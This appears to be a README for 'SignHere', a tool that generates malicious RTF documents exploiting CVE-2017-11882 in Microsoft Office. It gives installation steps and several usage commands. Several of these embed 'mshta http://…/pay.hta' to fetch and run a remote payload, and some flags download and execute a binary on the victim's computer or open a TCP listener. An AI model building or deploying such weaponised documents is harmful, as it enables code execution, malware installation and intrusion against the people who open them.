CVE-2017-11882 - The unique vulnerability identifier of Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1, and Microsoft Office 2016 allows an attacker to run code in the context of the current user without properly handling objects in memory, the so-called "Microsoft Office Memory corruption vulnerability". The implementation includes creating a program for building malicious rtf documents and payloads in VBScript

It is rtf documents that are vulnerable for the reason that they can be "programmed" by knowing special commands-RTF Headers. Thus, a binary (executable) object is created in the body of the document, in fact, it is a Microsoft Equation formula with the code that contains the cmd command. Then you can generate the payload in VBScript and use the command " mshta link to the payload file” to execute the hta file.

You can use Termux, but execution of program requires root

git clone https://github.com/Retr0-code/SignHere/
cd SignHere/
chmod +x SignHere.py
./SignHere.py --help

First, you need to download the archive. Then unpack it and open a PowerShell window in this folder and write:

.\SignHere.py --help

./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --powershell "start iexplore.exe https://github.com/Retr0-code/SignHere" --ip 192.168.1.74 --output generated.rtf

--cmd Argument with Windows command that will be executed after opening document.

--powershell Argument with powershell command that will be in VBScript payload.

--ip Argument with ip address that will be used for web-server. (default: 127.0.0.1)

--output Name and path of document.

./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --temp exploit.exe --ip 192.168.1.74 --output generated.rtf

--temp Argument that will use binary file as payload (binary file will start in RAM memory).

./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --payload exploit.exe --ip 192.168.1.74 --listener-host 192.168.1.74 --output generated.rtf

--payload Argument that will download file on computer of victim and execute it.

--listener-host Argument for starting TCP listener on current ip (default: 127.0.0.1)
